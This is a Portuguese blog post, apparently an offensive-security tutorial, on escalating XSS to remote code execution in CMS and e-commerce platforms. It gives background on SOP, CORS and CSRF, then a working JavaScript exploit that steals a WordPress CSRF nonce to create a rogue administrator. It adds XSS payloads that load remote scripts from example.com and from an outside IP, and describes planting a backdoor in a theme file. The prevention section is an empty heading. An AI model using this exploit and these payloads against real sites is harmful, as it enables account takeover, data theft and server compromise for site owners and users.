Elevating Low Vulnerabilities to Critical in CMSs and E-Commerce Platforms



Cross-site Scripting (XSS) é uma das vulnerabilidades mais comuns encontradas em ataques a aplicações web. Devido à sua ampla presença na maioria das aplicações, muitas vezes seu potencial é subestimado, limitando-se apenas a Sessions Hijacking, Open Redirects, Phishings, entre outros. No entanto, em certos cenários, é possível comprometer totalmente os sistemas ao explorar essa falha de maneira eficaz.

Neste artigo, demonstrarei o real potencial do Cross-Site Scripting (XSS) em plataformas de Content Management Systems (CMS) e E-Commerce, além de explorar como é possível alcançar a Execução Remota de Código (RCE) por meio de XSS nesses sistemas.

Porém antes de prosseguirmos, é fundamental compreender os conceitos básicos de Cross-Site Scripting (XSS), Atributos de cookies (HttpOnly, SameSite), Same-Origin Policy (SOP), Cross-Origin Resource Sharing (CORS), Tokens CSRF, entre outros. Caso já esteja familiarizado ou queira avançar diretamente para o conteúdo do POST (Clique aqui).


O que é Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) é uma vulnerabilidade que permite a inserção de códigos JavaScript em uma aplicação. Esses códigos são interpretados pelo navegador do usuário, possibilitando o acesso a informações da aplicação vulnerável ao qual o usuário está navegando, como cookies de sessão, credenciais armazenadas, entre outros. Permitindo que um atacante execute ações em nome de um usuário legítimo, contornando as políticas de Same-Origin Policy (SOP) implementadas nos navegadores web.



O que é Same-Origin Policy (SOP)

Same-Origin Policy (SOP) é um mecanismo de defesa implementado em todos os navegadores por padrão. Sua função é não permitir a LEITURA de requisições enviadas Cross-Origin, ou seja, requisições que não sejam da mesma origem.



No contexto da web, uma origem pode ser resumida da seguinte forma:
URL Outcome Reason
http://store.company.com/dir2/other.html Same origin Only the path differs
http://store.company.com/dir/inner/another.html Same origin Only the path differs
https://store.company.com/page.html Failure Different protocol
http://store.company.com:81/dir/page.html Failure Different port (http:// is port 80 by default)
http://news.company.com/dir/page.html Failure Different host
fonte: developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy>

Para que um site seja considerado Same-Origin, seus schemas HTTP precisam ser idênticos, ou seja, devem possuir a mesma estrutura de (SCHEMA://HOST:PORT/), tendo flexibilidade apenas no quesito de diretórios e arquivos.

Como mencionado anteriormente, o Same-Origin Policy (SOP) bloqueia apenas a leitura das respostas de requisições de origens diferentes (Cross-Origin). Isso significa que ainda é viável enviar requisições autenticadas utilizando JavaScript, fazendo-se passar pelo usuário legítimo através de um site de Origem Diferente, em uma técnica conhecida como Cross-Site Request Forgery (CSRF). Abaixo, veremos mais informações sobre.


Cross-Site Request Forgery (CSRF)

Cross-Site Request Forgery (CSRF) envolve a execução de ações em nome do usuário por meio de códigos HTML ou JavaScript através de origens diferentes (Cross-Origin). No entanto, como veremos, existem diversos mecanismos que podem bloquear a exploração do CSRF. Apesar disso, este ataque é extremamente poderoso e, em certos cenários, pode ser mais prejudicial do que um Cross-Site Scripting (XSS), já que não requer uma falha no código da aplicação em si. Além disso, é facilmente disseminado entre os usuários simplesmente ao acessar um simples site.



SameSite Cookie Attribute

SameSite é um mecanismo de segurança dos cookies que sua principal funcionalidade é bloquear ou permitir o envio de cookies apartir de requisições de origens diferentes (Cross-Origin). Esse atributo possue 3 categorias:

No entanto, como mencionado anteriormente, o site malicioso não pode visualizar as respostas de suas requisições devido ao mecanismo de Same-Origin Policy (SOP). Entretanto, existe um mecanismo de configuração do SOP chamado Cross-Origin Resource Sharing (CORS). Se configurado de maneira incorreta, CORS pode invalidar o SOP, tornando-se um vetor de exploração.


Cross-Origin Resource Sharing (CORS)

O Cross-Origin Resource Sharing (CORS) é um mecanismo de configuração do Same-Origin Policy (SOP). Em outras palavras, o CORS permite que o desenvolvedor "enfraqueça" as regras restritivas do SOP. Você pode estar se perguntando, por que um desenvolvedor faria isso?. A resposta é simples. Alguns serviços, como provedores e APIs, necessitam que o cliente (usuário) receba e veja a resposta de sua requisição, isso só é viável através do CORS.

O CORS possue vários cabeçalhos (headers) de configuração: Porém os mais utilizados são:
O header "Access-Control-Allow-Origin" é um componente essencial do CORS que determina quais sites Cross-Origin possuem permissão para acessar as respostas das requisições. No entanto, por padrão, ao apenas especificar o header "Access-Control-Allow-Origin" as respostas das requisições são retornadas de forma não autenticada.

Isso significa que, mesmo que o usuário realize requisições de forma autenticada Cross-Origin, seja através dos atributos SameSite “Lax” ou “None”, a resposta da requisição enviada de volta para o usuário será tratada como se o usuário não estivesse autenticado. No entanto, sabemos que essa não é a realidade. É aqui que o header "Access-Control-Allow-Credentials" entra em jogo.

O header "Access-Control-Allow-Credentials" é um componente do CORS que determina se as respostas das requisições Cross-Origin, especificadas pelo header "Access-Control-Allow-Origin", serão enviadas ao usuário de forma autenticada ou não autenticada. Este header possui dois atributos: "true" e "false".

Quando o atributo é definido como "true", as respostas das requisições são enviadas ao usuário de forma autenticada. Por outro lado, quando o atributo é definido como "false", ou caso o header "Access-Control-Allow-Credentials" não seja especificado, as respostas das requisições são retornadas ao usuário de forma não autenticada.



CSRF Tokens

Os CSRF Tokens são valores randômicos gerados e validados pelo servidor a cada requisição enviada para a aplicação. Sua principal função é mitigar os ataques de Cross-Site Request Forgery (CSRF), uma vez que, através de um CSRF, não é viável obter a resposta da aplicação (a menos que o CORS esteja mal configurado, como visto anteriormente).



HttpOnly Cookie Attribute

Por último, mas não menos importante, o atributo HttpOnly é um mecanismo crucial que impede a leitura do valor dos cookies de sessão, mesmo quando o script está sendo executado na mesma origem (Same-Origin) ou em origens diferentes (Cross-Origin). Embora isso seja eficaz em proteger os cookies de sessão, ainda é viável realizar requisições em nome do usuário.


XSS to RCE Explanation

A maioria dos CMS’s e plataformas de E-Commerce’s implementam mecanismos de defesa robustos contra ataques de Cross-Site Request Forgery (CSRF). No entanto, muitas vezes, não é aplicado o mesmo nível de proteção ou pode ser difícil mitigar os ataques de Cross-Site Scripting (XSS). O perigo reside no fato de que compreendemos a estrutura dessas aplicações, incluindo sua construção interna, fluxo de requisições, entre outros aspectos, especialmente devido ao fato de serem de código aberto (Open Source). Com esse conhecimento em mãos e a capacidade de executar JavaScript na mesma origem (Same-Origin) da aplicação, seja através de plugins, temas vulneráveis ou falhas no núcleo da aplicação (core), é viável causar impactos significativos, resultando em Execução Remota de Códigos (RCE) nesses sistemas. Tendo como grande aliado a execução de JavaScript na mesma origem (Same-Origin), contornando os bloqueios de CSRF Tokens, Same-Origin Policy (SOP), SameSite, entre outros, tendo apenas como um desafio em alguns casos o atributo HttpOnly. No entanto, como sabemos, mesmo não possuindo acesso aos cookies de sessão do usuário, podemos realizar requisições normalmente para a aplicação, passando-se pelo usuário, mesmo na presença do atributo HttpOnly.

Essas possibilidades de Execução Remota de Códigos (RCE) são agravadas pelo fato de que esses sistemas possuem diversas interfaces de gerenciamento tanto a nível de aplicação quanto de servidor. Embora muitas empresas não considerem isso um risco, pois essas interfaces são geralmente acessadas apenas com privilégios elevados (usuários administrativos), na realidade, isso cria cenários perfeitos para o comprometimento desses servidores através de falhas como Cross-Site Scripting (XSS). A complexidade desses sistemas oferece várias oportunidades para explorar e criar ataques sofisticados. Mais detalhes sobre essas cadeias de ataques serão abordados a seguir.

Building the Exploits

Primeiro, precisamos escolher um serviço. Esse serviço pode ser um projeto de código aberto (Open Source) ou até mesmo sistemas privados. Muitas vezes, ao ler os arquivos JavaScript da aplicação, é viável entender seu funcionamento, suas funcionalidades e características interessantes, e criar seus exploits com base nisso. Já desenvolvi exploits para serviços privados, mas, por serem privados, não tenho permissão para divulgá-los. Porém todos foram através de leitura de arquivos JavaScript, entendendo as lógicas da aplicação que são executadas de forma autenticada, e escrevendo exploits a partir desses arquivos. Ou seja, não hesite em tentar entender a lógica da aplicação por meio de códigos JavaScript, pois isso pode ser uma mina de ouro em determinados ambientes. Para este exemplo, vamos criar um exploit para o Wordpress. Antes de tudo, precisamos de uma instância do Wordpress atualizada e estável, que funcione sem problemas. Durante minhas pesquisas, utilizei as imagens Docker da Bitnami, que também vamos usar neste exemplo.

Podemos baixar a última imagem Docker do Wordpress disponível através do site da Bitnami (bitnami.com/stack/wordpress/containers), ou diretamente através do comando:
curl -sSL https://raw.githubusercontent.com/bitnami/containers/main/bitnami/wordpress/docker-compose.yml > docker-compose.yml


Após realizar o download do arquivo “docker-compose.yml”, vamos implantar nossa aplicação utilizando o comando:
docker-compose up




Depois que a aplicação for implantada com sucesso, iremos autenticar usando um usuário com permissões para realizar operações interessantes. No caso do Wordpress, este usuário seria o administrador. As credenciais padrão de administrador do Wordpress Bitnami são:

Username: user
Password: bitnami


Depois de nos autenticarmos, é crucial navegar pelo sistema e procurar por funcionalidades interessantes que possam nos conceder Execução Remota de Código (RCE) ou acessos privilegiados. No caso do Wordpress, podemos alcançar esse objetivo explorando plugins personalizados instalados que possam ter vulnerabilidades autenticadas, alterar os privilégios do nosso usuário, adicionar uma nova conta de usuário com privilégios administrativos, editar plugins built-in do próprio Wordpress, editar temas built-in do Wordpress, explorar vulnerabilidades autenticadas no próprio core do Wordpress, entre outras possibilidades.

Para este exemplo, vamos criar uma conta com privilégios administrativos. A partir dessa conta, poderemos navegar pela aplicação através da interface gráfica em busca de outros vetores que nos permitam ampliar nossos acessos e obter RCE no servidor. Em sistemas privados, poderíamos adicionar uma conta administrativa, manter o acesso e coletar o máximo de informações, como: conversas no WhatsApp, trocas de e-mails através da aplicação, logs do sistema, entre outros. Enquanto nossa conta estiver ativa.

Em nosso ambiente de laboratório Docker do Wordpress, estamos logados como o usuário administrador (user), onde iremos explorar as funcionalidades de adicionar novos usuários no menu "Users".


A abordagem que utilizo se resume em realizar todo o fluxo de uma funcionalidade interessante, capturando as requisições feitas à aplicação e analisando cada uma detalhadamente. Para demonstração vamos aplicar isso à funcionalidade de adicionar usuários.

(1) Criando um novo usuário administrador na aplicação


(2) Usuário adicionado com sucesso


Depois de completar o processo de adicionar um usuário, podemos revisar as requisições realizadas durante esse processo. As requisições marcadas em vermelho são aquelas que precisamos nos aprofundar e replicar seus comportamentos em nosso exploit.


A primeira requisição (324), realiza um GET para o arquivo "/wp-admin/user-new.php" e obtém o CSRF Token “50bee24cef”. Guarde esse token, pois ele será utilizado nas próximas requisições.


Através do navegador, o usuário preenche os campos com as informações da conta que deseja adicionar. Ao final, uma requisição é feita para a aplicação contendo esses dados. No nosso caso, é realizada uma requisição POST (335) para o arquivo "/wp-admin/user-new.php", contendo os parâmetros das informações do usuário (user_login, email, pass1, pass2, role, pw_weak), juntamente com o CSRF Token “_wpnonce_create-user”.


No entanto, é importante estar atento, ao tentarmos realizar novamente a mesma requisição para a aplicação, recebemos uma resposta completamente diferente. Isso pode significar duas coisas: primeiro, que nosso CSRF Token expirou e precisamos gerar um novo, realizando uma nova requisição GET para "/wp-admin/user-new.php". Segundo, pode ser que já exista um usuário cadastrado com as mesmas informações do usuário que estamos tentando cadastrar.


Através da funcionalidade de renderização de HTML do Burp Suite "render", é viável observar que já existe um usuário registrado na aplicação com nosso e-mail e nome de usuário. É crucial estar atento a essas situações, pois ao desenvolver exploits mais complexos, você precisará estar preparado para lidar com problemas como este. Lembre-se de que, na maioria dos casos, só teremos uma chance de executar nosso exploit.


Aqui identificamos um padrão. Se a aplicação responde com o código de status "302 Found" e retornar um Location para "users.php?update=add&id={ID}", significa que nosso usuário foi adicionado com sucesso. Por outro lado, se a aplicação responde com o código de status "200 OK" e retorna um código HTML contendo a string "already registered", isso indica que ocorreu algum erro e nosso usuário não foi adicionado.

Na última etapa do nosso fluxo para adicionar um usuário na aplicação, é realizada uma requisição GET para o arquivo "/wp-admin/users.php?update=add&id={ID}" (336), conforme especificado pela aplicação no cabeçalho Location. Ao usar novamente a funcionalidade de renderização de HTML do Burp Suite, podemos confirmar que nosso usuário foi adicionado com sucesso. No entanto, mais importante para o nosso exploit, temos dois campos que podemos verificar para validar se o usuário foi realmente adicionado. Primeiro, através da mensagem "New user created". Segundo, e mais confiável, pesquisando pelo nome ou e-mail do nosso usuário, fazendo uma requisição para o arquivo "/wp-admin/users.php".


Vamos recapitular nossos passos. Primeiro, precisamos realizar uma requisição GET para o arquivo "/wp-admin/user-new.php" e extrair o CSRF Token de sua resposta HTML. Em seguida, faremos uma requisição POST para o arquivo "/wp-admin/user-new.php", passando como parâmetros o CSRF Token extraído "_wp_nonce_create-user" e as informações da conta de usuário que queremos adicionar na aplicação (user_login, email, pass1, pass2, role, pw_weak). Após recebermos a resposta dessa requisição POST, verificaremos se obtivemos o código de status "302 Found" e se o cabeçalho "Location" contém a string "/wp-admin/users.php?update=add&id={ID}". Em seguida, acessaremos a URL do Location e verificaremos se as informações do nosso usuário foram adicionadas com sucesso, procurando pela string "New User created" ou, de forma mais confiável, pelas informações da nossa conta adicionada, como username ou e-mail.

Agora que entendemos todo o fluxo de como ocorre a criação de um usuário e os possíveis problemas que podem surgir no processo, chegou a hora da diversão: criar nosso exploit. Fique à vontade para usar qualquer método de realização e manipulação de requisições (Fetch, XMLHTTPRequest, JQuery, Axios, etc.). Neste exemplo, irei utilizar XMLHTTPRequest.

Como podemos observar, em apenas 28 linhas de código, conseguimos realizar toda a cadeia de ataque. No entanto, é importante notar que este código é apenas uma demonstração. Ele não possui tratamento de erros nem callbacks para informar se a exploração foi bem-sucedida. Em um cenário real, você precisará escrever um exploit mais elaborado. No entanto, para entender a lógica básica por trás da exploração, este código já é suficiente.


code snippet

// Make a GET request to "/wp-admin/user-new.php".
var stage1 = new XMLHttpRequest();
stage1.open("GET", "https://wordpress.local/wp-admin/user-new.php", false);
stage1.send();

// Grep the CSRF Token value.
var csrf_token = stage1.responseText.match(/id="_wpnonce_create-user"[\s\S]*?value="(.*?)"/)[1];

// Make a POST request to "/wp-admin/user-new.php".
var stage2 = new XMLHttpRequest();
stage2.open("POST", "https://wordpress.local/wp-admin/user-new.php", false);
stage2.setRequestHeader('Content-Type', 'application/x-www-form-urlend');
stage2.send("action=createuser&_wpnonce_create-user=" +
    csrf_token + "&_wp_http_referer=%2Fwp-admin%2Fuser-new.php&user_login=" +
    "nowak0x01" + "&email=" +
    enURIComponent("nowak0x01@wordpress.local") + "&first_name=" +
    "" + "&last_name=" +
    "" + "&url=&pass1=" +
    enURIComponent("P0C#$u37") + "&pass2=" +
    enURIComponent("P0C#$u37") + "&pw_weak=on&role=" +
    "administrator" + "&createuser=Add%2BNew%2BUser");

// Check in the HTML  if it contains the username of our user "nowak0x01".
if (stage2.responseText.match("nowak0x01")[0]) {

console.log("The user has been successfully created!");


Para fins de demonstração, criamos um arquivo "searcher.php" no diretório do Wordpress vulnerável a Cross-Site Scripting (XSS). No entanto, em um cenário real, você precisará explorar uma vulnerabilidade de XSS genuína.





A partir desse XSS, agora precisamos importar nosso exploit. Isso pode ser feito de várias maneiras. A mais comum é através da tag:

<script src=""></script>

No entanto, essa abordagem geralmente é bloqueada por WAFs. Existem outras técnicas menos conhecidas para importar arquivos JavaScript, que podem ajudar a contornar alguns cenários de WAFs. Uma delas é através das tags:

<img src/onerror=import('http:example.com')>
                <img src/onerror=s=document.createElement('script');s.src='http://example.com/X.js';document.body.appendChild(s)>

Ou se a aplicação estiver utilizando jQuery, também podemos usar:
$.getScript('http:example.com')


Agora que temos diversas maneiras de importar nossos scripts, vamos importar nosso exploit "AddUser.js".

Sinta-se à vontade para hospedar seu exploit em qualquer domínio, VPS, através da própria aplicação via File Upload, etc. No nosso caso, utilizamos o GCP para hospedar nosso arquivo "AddUser.js" em um servidor.

Nota: Se a aplicação estiver usando HTTPS, o seu servidor, onde o exploit está hospedado, também precisa utilizar HTTPS. Caso contrário, você receberá o seguinte erro:


Depois de hospedarmos nosso exploit, precisamos importá-lo na aplicação através do XSS. No caso, utilizamos a abordagem tradicional <script src=""></script>, com o seguinte payload: https://wordpress.local/searcher.php?search=<script src="https://34.125.48.153/AddUser.js">

Aplicação solicitando nosso exploit "AddUser.js".


Após um usuário com sessão administrativa no Wordpress acessa nossa URL vulnerável, que está importando nosso exploit, nossa cadeia de ataque é executada. Isso resulta na realização das requisições necessárias para criar o nosso usuário “nowak0x01” administrador na aplicação.


Onde nosso usuário foi adicionado com sucesso à aplicação.


Após isso, podemos realizar login na aplicação com nosso novo usuário adicionado e explorar outros vetores de Execução Remota de Códigos (RCE) ou funcionalidades interessantes, como mencionado anteriormente. No entanto, vamos abordar isso de uma maneira mais interessante.


Concordamos que adicionar um usuário, especialmente com privilégios de administrador, em um WordPress ou qualquer sistema, pode levantar suspeitas. Aqui é onde a verdadeira magia do XSS entra em jogo; você só precisa ser criativo. Sabemos que desenvolver exploits pode ser um pouco trabalhoso, e às vezes, não temos tempo para nos dedicar a escrever um exploit que demonstre todo o impacto que uma vulnerabilidade pode ter no ambiente do cliente. Por esse motivo, desenvolvi exploits para os CMS’s e plataformas de E-Commerce’s mais populares e amplamente utilizados. Estes exploits incluem diversos módulos, tais como:

Wordpress (WPXStrike) - https://github.com/nowak0x01/WPXStrike



Joomla (JoomSploit) - https://github.com/nowak0x01/JoomSploit



Drupal (Drupalwned) - https://github.com/nowak0x01/Drupalwned



PrestaShop (PrestaXSRF) - https://github.com/nowak0x01/PrestaXSRF



Para a demonstração, vamos utilizar o WPXStrike, juntamente com o módulo de edição de temas built-in do WordPress. Caso queira entender como a ferramenta funciona, veja os exemplos disponibilizados no GitHub.



Trecho de código do exploit do tema "TwentyTwentyThree()".



Como podemos observar, o arquivo "patterns/hidden-404.php" do tema "Twenty Twenty-Three" do WordPress não apresenta nenhuma alteração ou código malicioso. No entanto, após a execução do nosso exploit, nosso backdoor será implantado neste arquivo.



Após um usuário com sessão administrativa no Wordpress acessa nossa URL vulnerável a XSS, que está importando nosso exploit, nossa cadeia de ataque é executada. Isso resulta na realização das requisições necessárias para editar o tema escolhido, no caso o "Twenty Twenty-Three", adicionando nosso backdoor ao código.



Resposta recebida em nosso servidor Burp Collaborator, confirmando a execução bem-sucedida do nosso exploit.



Backdoor inserido no código-fonte do tema "Twenty Twenty-Three".



Obtendo Execução Remota de Códigos (RCE) no servidor através do nosso backdoor.



Como vimos, obter Execução Remota de Código (RCE) através de um XSS não é uma tarefa tão difícil quanto parece, embora demande tempo e trabalho. Espero que tenha gostado desse POST e compreendido a lógica por trás da técnica, a cadeia de ataques e como utilizar essa metodologia para criar novos exploits em diferentes serviços. Agradeço se você leu até aqui. Desejo a você uma excelente semana e bons estudos.


Como previnir minhas aplicações contra esse tipo de exploração?



Back to Home